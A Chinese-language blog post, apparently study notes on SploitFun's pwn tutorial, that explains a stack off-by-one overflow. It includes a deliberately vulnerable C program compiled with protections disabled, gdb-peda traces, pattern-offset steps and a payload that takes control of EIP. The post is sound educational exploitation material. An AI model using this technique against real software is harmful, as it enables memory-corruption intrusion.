SploitFun off-by-one

Author Avatar
Aryb1n 7月 24, 2017

跟着SploitFun大佬的blog学习pwn
第一节是普通的栈溢出,第二节是整数溢出

现在看的是第三节off-by-one

介绍

off-by-one,one是一个字节,就是一个字节的溢出
比如

void vuln() {
    char vuln_s[5];
    for(int i = 0; i <= 5; i++) {
        vuln_s[i] = ...;
    }
}

缓冲区只有5个字节的大小,我们却赋值了六次,这个第六次就看会覆盖到缓冲区上面的位置,通常是ebp的最低字节

代码及分析

大佬的blog讲的是最基础的栈上的off-by-one的一个例子,网上还有大佬写过一个堆上off-by-one的文章

//vuln.c
#include <stdio.h>
#include <string.h>
void foo(char* arg);
void bar(char* arg);
void foo(char* arg) {
    bar(arg); /* [1] */
}
void bar(char* arg) {
    char buf[256];
    strcpy(buf, arg); /* [2] */
}
int main(int argc, char *argv[]) {
    if(strlen(argv[1])>256) { /* [3] */
        printf("Attempted Buffer Overflow\n");
        fflush(stdout);
        return -1;
    }
    foo(argv[1]); /* [4] */
    return 0;
}
// compilation 
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c

注意这里的对齐参数,默认是等于4,对齐到2^4=16字节的,我们调整为4字节
内存对齐具体可以参考下这一个

这里造成溢出的是bar函数中的strcpy, 这里的缓冲区buf有256字节,在main函数里面判断是strlen(argv[1])>256,字符串最大可以是256字节,看起来好像是刚刚好.但其实并不是这样子
我们找到strcpy的介绍

Copies the C string pointed by source into the array pointed by destination, including the terminating null character

strcpy会把第257个字节的\0也写到目的缓冲区,这个时候就会到buf再靠上的一个字节,在这里,可能会把bar函数存的ebp的低位字节变成\0,我们来试一试

我们在main这里打个断点,然后输入256个A,进入调试,一路下一步走到bar函数里
这个时候,我们的$ebp = 0xffffcaec,然后其实,这个ebp是caller的ebp,这里push一下,等会还要给人家pop回去,这里也能想象,虽然覆盖发生在bar函数,但最后出问题却不在bar函数,是等bar函数要ret回去到foo的时候,才会把错误的ebp给pop出来

gdb-peda$ r `python -c 'print "A"*256'`

[------------------code-------------------]
=> 0x80484dc <bar>:    push   ebp
   0x80484dd <bar+1>:    mov    ebp,esp
   0x80484df <bar+3>:    sub    esp,0x100
   0x80484e5 <bar+9>:    push   DWORD PTR [ebp+0x8]
   0x80484e8 <bar+12>:    lea    eax,[ebp-0x100]
   0x80484ee <bar+18>:    push   eax
   0x80484ef <bar+19>:    call   0x8048380 <strcpy@plt>
   0x80484f4 <bar+24>:    add    esp,0x8
   0x80484f7 <bar+27>:    nop
   0x80484f8 <bar+28>:    leave  
   0x80484f9 <bar+29>:    ret

执行过strcpy之后我们的EBP存的值以及变化了

原来
EBP: 0xffffcae0 --> 0xffffcaec
现在可以看到后最后一个字节果然变成了0x00
EBP: 0xffffcae0 --> 0xffffca00

执行到leave,前面说过leave是相当于

mov esp, ebp
pop ebp

这个时候,先是我们的mov esp, ebp
$esp = 0xffffcae0 --> 0xffffca00
然后pop ebp
$ebp = 0xffffca00

之后ret回到foo的时候,我们的ebp就不对了,不对了有什么影响呢,我们看看返回到了foo

   0x80484cb <foo>:    push   ebp
   0x80484cc <foo+1>:    mov    ebp,esp
   0x80484ce <foo+3>:    push   DWORD PTR [ebp+0x8]
   0x80484d1 <foo+6>:    call   0x80484dc <bar>
=> 0x80484d6 <foo+11>:    add    esp,0x4
   0x80484d9 <foo+14>:    nop
   0x80484da <foo+15>:    leave  
   0x80484db <foo+16>:    ret

看到这里的leave了咩,这里会把我们错误的ebp给esp,相当于我控制了esp,好吧,我控制的不太好,只能改变他的末字节…先不说这个,我们相当不稳的控制了esp,会让下面ret到奇怪的地方对不对,对吧,因为ret实际就是pop出来一个返回地址,然后跳过去,从哪里pop,就是从栈顶esp这里啊

这个时候思路很清楚了就是要把这里要pop出来的返回地址改成我们想要的
因为整个过程我们相当于通过strcpyfoo的ebp低字节改掉了,导致在第二次leave的时候,改掉了栈顶esp,因为是最后一个字节变小了,这个改变在2^8=256字节之内,而且是变小

啊,还有,某个四字节变量比如*0xffff7840,他的值存在0xffff7840-0xffff7843,你取值给的是最低字节地址,像下图,我们正常指向的话,我上面那个箭头指的变量是ret2main,而不是main_ebp

正常情况下要ret的时候是这样子

-------------- 高地址
ret2main
-------------- 0xffffcae0 <---- 我们的esp应该在这里
main_ebp
--------------
foo的局部变量
-------------
ret2foo
-------------
err_foo_ebp
-------------
256字节缓冲区  <------ 而事实上我们的esp现在在这里面不知道哪个地方
-------------
bar其他局部变量

这样的话,只要我们构造一个合理的输入数据,就可以造成任意地址返回了,这里我们先不考虑地址随机化,这个时候我们拿出来传说中的pattern_create造一个256字符的数据把产生的数据喂给程序,跑一下

然后在程序走到foo的ret时候就可以看到,栈里的数据,把这个数据拷出来,用pattern_offset搞一下就知道是在跳到了我们这256字节的哪里了,或者等程序崩了,也会有提示

其实在其他情况下,这里也可能不在我们控制范围内,因为,也可能正好跳到原ret2main和我们可控的这256字节缓冲区之间对吧,不过可能性比较小

具体操作一下
产生256字节pattern然后给程序

片刻之后,程序崩溃了

Stopped reason: SIGSEGV
0x61414145 in ?? ()

定位一下

gdb-peda$ pattern_offset 0x61414145
1631666501 found at offset: 36

改一下payload再给程序

print 'A' * 36 + 'BCDE' + (256 - 36 - 4) * 'A'

因为我们这里没有具体的跳转地址,就把目标地址定为’BCDE’
可以看到我们的程序在崩溃的时候到了这个地方

Stopped reason: SIGSEGV
0x45444342 in ?? ()

测试成功

不能off-by-one

作者提到两种情况不能像这样子利用off-by-one

  1. Some other local variable might be present above the destination buffer.
    就是说我们的buf不是紧挨着ebp的中间还有其他变量,因为我们只能覆盖一字节,所以就无能为力了
    ...
    void bar(char* arg) {
    int x = 10; /* [1] */
    char buf[256]; /* [2] */ 
    strcpy(buf, arg); /* [3] */ 
    }
    ...
    
  2. Alignment space
    可能gcc会默认出现内存对齐到16字节….,这个时候在我们的buf和ebp之间就还是有空隙了
Dump of assembler code for function main:
 0x08048497 <+0>: push %ebp
 0x08048498 <+1>: mov %esp,%ebp
 0x0804849a <+3>: push %edi
 0x0804849b <+4>: and $0xfffffff0,%esp               //Stack space aligned to 16 byte boundary
 0x0804849e <+7>: sub $0x20,%esp                     //create stack space
...

原文中为了确保不出现这种情况,我们编译时候加入参数让他对齐到四字节-mpreferred-stack-boundary=2